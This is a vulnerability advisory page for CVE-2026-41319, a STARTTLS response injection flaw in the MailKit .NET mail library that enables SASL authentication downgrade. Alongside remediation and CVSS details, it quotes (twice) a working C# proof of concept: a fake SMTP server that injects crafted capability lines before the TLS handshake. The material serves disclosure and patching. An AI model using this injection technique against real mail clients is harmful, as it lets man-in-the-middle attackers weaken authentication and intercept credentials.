CVE-2026-41319: MailKit MailKit Has STARTTLS Response Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-9j88-vvj5-vhgr
CVSS 6.5
CWE-74
Published
Advisory Summary

CVE-2026-41319 is a MODERATE (CVSS 6.5) mailkit has starttls response injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting MailKit libraries in the NuGet ecosystem. The issue involves mailkit has starttls response injection via unflushed stream buffer that enables sasl mechanism downgrade. Remediation is available by upgrading affected packages to version 4.16.0.

CVE-2026-41319 at a Glance

CVE Identifier CVE-2026-41319
GHSA Identifier GHSA-9j88-vvj5-vhgr
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product MailKit
Package Ecosystem NuGet
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-41319

To remediate this vulnerability, upgrade all affected MailKit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

MailKit fixed: 4.16.0
Upgrade MailKit to 4.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for MailKit

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41319, inspect your project dependencies for MailKit:

inspect dependencies for MailKit

Analyze the terminal output to locate any version of MailKit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.16.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In MailKit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in `SmtpStream`, `ImapStream`, and `Pop3Stream` is not flushed when the underlying stream is replaced with `SslStream` during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix). ### Details The `Stream` property in `SmtpStream` (line 84-86), `ImapStream`, and `Pop3Stream` is a simple auto-property with no buffer reset: ```csharp public Stream Stream { get; internal set; // ← No buffer reset on set! } ``` During the STARTTLS upgrade in `SmtpClient.cs` (lines 1372-1389): ```csharp // Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer response = Stream.SendCommand("STARTTLS\r\n", cancellationToken); // Swaps to TLS — buffer NOT flushed! var tls = new SslStream(stream, false, ValidateRemoteCertificate); Stream.Stream = tls; SslHandshake(tls, host, cancellationToken); // Reads EHLO response — processes INJECTED pre-TLS data from buffer first! Ehlo(true, cancellationToken); ``` A MitM appends extra data after the `"220 Ready\r\n"` STARTTLS response. Both arrive in one TCP read into `SmtpStream`'s 4096-byte internal buffer. `ReadResponse()` parses `"220 Ready"` and stops — the injected data remains at `inputIndex`. After `Stream.Stream = tls`, the buffer is not cleared. When `Ehlo()` calls `ReadResponse()`, it checks `inputIndex == inputEnd` — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream. The same pattern exists in `ImapClient.cs` (lines 1485-1509) and `Pop3Client.cs`. **Attack flow:** ``` Client MitM Real Server |--- STARTTLS ---------->|--- STARTTLS ----------->| | |<-- 220 Ready -----------| |<-- "220 Ready\r\n"-----| | | "250-evil\r\n" | ← INJECTED | | "250 AUTH PLAIN\r\n" | ← INJECTED | | "250 OK\r\n" | ← INJECTED | |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====| |--- EHLO (over TLS) --->| | | Reads from BUFFER: | | | "250 AUTH PLAIN" | ← PRE-TLS DATA | | PROCESSED AS POST-TLS! | | ``` **Suggested fix:** Reset buffer indices when the stream is replaced: ```csharp internal set { stream = value; inputIndex = inputEnd; } ``` ### PoC Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply: ```csharp using System; using System.Net; using System.Net.Security; using System.Net.Sockets; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Threading; using System.Threading.Tasks; using MailKit.Net.Smtp; using MailKit.Security; class PoC { static void Main() { using var rsa = RSA.Create(2048); var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); var cert = new X509Certificate2(req.CreateSelfSigned( DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx)); var listener = new TcpListener(IPAddress.Loopback, 0); listener.Start(); int port = ((IPEndPoint)listener.LocalEndpoint).Port; Task.Run(() => { using var tcp = listener.AcceptTcpClient(); var s = tcp.GetStream(); Send(s, "220 evil.example.com ESMTP\r\n"); Read(s); Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n"); Read(s); // ATTACK: inject fake EHLO response after "220 Ready" Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n"); var ssl = new SslStream(s, false); ssl.AuthenticateAsServer(cert, false, false); ReadSsl(ssl); SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n"); Thread.Sleep(2000); }); using var client = new SmtpClient(); client.ServerCertificateValidationCallback = (a, b, c, d) => true; client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls); Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}"); // OUTPUT: "Auth mechanisms: PLAIN, LOGIN" // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED client.Disconnect(false); listener.Stop(); } static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); } static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); } static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); } static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); } } ``` **Result against MailKit 4.12.0:** ``` Auth mechanisms: PLAIN, LOGIN (Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved) ``` ### Impact Any application using MailKit with `SecureSocketOptions.StartTls` or `StartTlsWhenAvailable` (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

CVE-2026-41319 Affected MailKit Versions

1 component(s)
Fixed Versions:
4.16.0
Product / Package Ecosystem Affected Versions Fixed Version
MailKit
NuGet
< 4.16.0
4.16.0

References

Frequently Asked Questions

What is CVE-2026-41319?
CVE-2026-41319 is a security vulnerability in MailKit involving MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which MailKit versions are affected?
Affected versions include releases prior to 4.16.0 across affected packages: MailKit.
What version fixes CVE-2026-41319?
Upgrading to 4.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is MailKit affected?
Yes, MailKit is affected in releases prior to 4.16.0. Upgrade your dependency to 4.16.0 or later.
What is the CVSS score of CVE-2026-41319?
CVE-2026-41319 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-41319?
CVE-2026-41319 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check NuGet dependencies for CVE-2026-41319?
Run the dependency tree command: 'inspect dependencies for MailKit'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9j88-vvj5-vhgr",
  "modified" : "2026-04-24T21:02:06Z",
  "published" : "2026-04-18T01:13:46Z",
  "aliases" : [ "CVE-2026-41319" ],
  "summary" : "MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade",
  "details" : "### Summary\n\nA STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in `SmtpStream`, `ImapStream`, and `Pop3Stream` is not flushed when the underlying stream is replaced with `SslStream` during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).\n\n### Details\n\nThe `Stream` property in `SmtpStream` (line 84-86), `ImapStream`, and `Pop3Stream` is a simple auto-property with no buffer reset:\n\n```csharp\npublic Stream Stream {\n    get; internal set;  // ← No buffer reset on set!\n}\n```\n\nDuring the STARTTLS upgrade in `SmtpClient.cs` (lines 1372-1389):\n\n```csharp\n// Reads STARTTLS response — \"220 Ready\" consumed, any extra data stays in buffer\nresponse = Stream.SendCommand(\"STARTTLS\\r\\n\", cancellationToken);\n\n// Swaps to TLS — buffer NOT flushed!\nvar tls = new SslStream(stream, false, ValidateRemoteCertificate);\nStream.Stream = tls;\nSslHandshake(tls, host, cancellationToken);\n\n// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!\nEhlo(true, cancellationToken);\n```\n\nA MitM appends extra data after the `\"220 Ready\\r\\n\"` STARTTLS response. Both arrive in one TCP read into `SmtpStream`'s 4096-byte internal buffer. `ReadResponse()` parses `\"220 Ready\"` and stops — the injected data remains at `inputIndex`. After `Stream.Stream = tls`, the buffer is not cleared. When `Ehlo()` calls `ReadResponse()`, it checks `inputIndex == inputEnd` — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.\n\nThe same pattern exists in `ImapClient.cs` (lines 1485-1509) and `Pop3Client.cs`.\n\n**Attack flow:**\n```\nClient                    MitM                     Real Server\n  |--- STARTTLS ---------->|--- STARTTLS ----------->|\n  |                        |<-- 220 Ready -----------|\n  |<-- \"220 Ready\\r\\n\"-----|                         |\n  |    \"250-evil\\r\\n\"       |  ← INJECTED            |\n  |    \"250 AUTH PLAIN\\r\\n\" |  ← INJECTED            |\n  |    \"250 OK\\r\\n\"         |  ← INJECTED            |\n  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|\n  |--- EHLO (over TLS) --->|                         |\n  | Reads from BUFFER:     |                         |\n  | \"250 AUTH PLAIN\"       |  ← PRE-TLS DATA        |\n  | PROCESSED AS POST-TLS! |                         |\n```\n\n**Suggested fix:** Reset buffer indices when the stream is replaced:\n```csharp\ninternal set { stream = value; inputIndex = inputEnd; }\n```\n\n### PoC\n\nSelf-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:\n\n```csharp\nusing System; using System.Net; using System.Net.Security; using System.Net.Sockets;\nusing System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;\nusing System.Text; using System.Threading; using System.Threading.Tasks;\nusing MailKit.Net.Smtp; using MailKit.Security;\n\nclass PoC {\n    static void Main() {\n        using var rsa = RSA.Create(2048);\n        var req = new CertificateRequest(\"CN=test\", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);\n        var cert = new X509Certificate2(req.CreateSelfSigned(\n            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));\n\n        var listener = new TcpListener(IPAddress.Loopback, 0);\n        listener.Start();\n        int port = ((IPEndPoint)listener.LocalEndpoint).Port;\n\n        Task.Run(() => {\n            using var tcp = listener.AcceptTcpClient();\n            var s = tcp.GetStream();\n            Send(s, \"220 evil.example.com ESMTP\\r\\n\");\n            Read(s);\n            Send(s, \"250-evil.example.com\\r\\n250-STARTTLS\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n            Read(s);\n            // ATTACK: inject fake EHLO response after \"220 Ready\"\n            Send(s, \"220 Ready\\r\\n250-evil.example.com\\r\\n250-AUTH PLAIN LOGIN\\r\\n250 OK\\r\\n\");\n            var ssl = new SslStream(s, false);\n            ssl.AuthenticateAsServer(cert, false, false);\n            ReadSsl(ssl);\n            SendSsl(ssl, \"250-evil.example.com\\r\\n250-AUTH SCRAM-SHA-256\\r\\n250 OK\\r\\n\");\n            Thread.Sleep(2000);\n        });\n\n        using var client = new SmtpClient();\n        client.ServerCertificateValidationCallback = (a, b, c, d) => true;\n        client.Connect(\"127.0.0.1\", port, SecureSocketOptions.StartTls);\n        Console.WriteLine($\"Auth mechanisms: {string.Join(\", \", client.AuthenticationMechanisms)}\");\n        // OUTPUT: \"Auth mechanisms: PLAIN, LOGIN\"\n        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED\n        client.Disconnect(false); listener.Stop();\n    }\n    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }\n    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }\n}\n```\n\n**Result against MailKit 4.12.0:**\n```\nAuth mechanisms: PLAIN, LOGIN\n(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)\n```\n\n### Impact\n\nAny application using MailKit with `SecureSocketOptions.StartTls` or `StartTlsWhenAvailable` (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "MailKit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.16.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jstedfast/MailKit/security/advisories/GHSA-9j88-vvj5-vhgr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41319"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jstedfast/MailKit"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-18T01:13:46Z",
    "nvd_published_at" : "2026-04-24T04:16:20Z"
  }
}